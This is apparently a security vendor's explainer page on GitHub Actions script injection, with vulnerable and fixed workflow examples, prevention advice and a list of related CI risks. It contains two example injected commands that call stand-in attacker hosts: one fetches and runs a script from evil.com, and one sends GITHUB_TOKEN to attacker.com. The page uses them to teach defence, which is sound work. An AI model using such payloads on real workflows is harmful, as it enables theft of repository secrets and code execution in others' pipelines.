GitHub Actions Script Injection
Using untrusted event data like github.event.issue.title directly inside run: blocks allows attackers to inject arbitrary shell commands into your CI pipeline by crafting malicious issue titles, PR bodies, or commit messages.
How It Works
GitHub Actions expressions like ${{ github.event.issue.title }} are interpolated directly into the shell script before execution. If an attacker creates an issue with the title "; curl http://evil.com/steal.sh | bash; echo ", the shell command becomes echo "; curl http://evil.com/steal.sh | bash; echo " and the injected command executes with full access to the workflow's GITHUB_TOKEN and any configured secrets. This affects any github.event.* context that comes from user input: issue titles, PR titles, PR body, commit messages, branch names, and comment bodies. The attacker does not need write access to the repository -- simply opening an issue or PR is enough.
# BAD: user-controlled data interpolated directly into run: block
name: Issue Greeter
on:
issues:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: |
echo "New issue: ${{ github.event.issue.title }}"
echo "By: ${{ github.event.issue.user.login }}"
# Attacker sets title to: "; curl attacker.com/exfil?t=$GITHUB_TOKEN; #"
# This executes arbitrary commands with repo secrets# GOOD: pass user input via environment variables (not interpolated into shell)
name: Issue Greeter
on:
issues:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: |
echo "New issue: $ISSUE_TITLE"
echo "By: $ISSUE_AUTHOR"
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
ISSUE_AUTHOR: ${{ github.event.issue.user.login }}
# Environment variables are NOT interpreted as shell codeReal-World Example
In 2021, security researcher Teddy Katz demonstrated script injection in the GitHub Actions workflows of several high-profile open-source projects including ESLint and webpack. The attack required only opening an issue with a crafted title. GitHub subsequently published a security advisory recommending all workflow authors pass untrusted inputs via environment variables instead of inline expressions.
How to Prevent It
- Never use ${{ github.event.* }} directly inside run: blocks -- always pass untrusted data through env: variables
- Use actions/github-script with explicit input parameters instead of shell interpolation for complex operations
- Restrict workflows triggered by issues/PRs from forks using environment protections and required approvals
- Audit all workflow files for inline ${{ }} expressions inside run: steps using tools like actionlint
Affected Technologies
Data Hogo detects this vulnerability automatically.
Scan Your Repo FreeRelated Vulnerabilities
Unpinned GitHub Actions
highUsing GitHub Actions referenced by mutable tags like @main or @v3 instead of full commit SHAs means a compromised or hijacked action can inject malicious code into your CI pipeline without any change to your workflow file.
Secrets Leaked in CI Logs
highPrinting or echoing environment variables containing secrets in CI scripts exposes them in build logs, which are often accessible to all repository collaborators and sometimes publicly visible on open-source projects.
Self-Hosted Runner Risks
highUsing self-hosted GitHub Actions runners with pull_request_target or public fork workflows allows untrusted code from external contributors to execute on your infrastructure with access to secrets, persisted state, and the host network.
Overly Permissive Workflow Permissions
mediumGitHub Actions workflows with permissions: write-all or no explicit permissions block grant the GITHUB_TOKEN excessive access, allowing a compromised step to modify code, create releases, write packages, or change repository settings.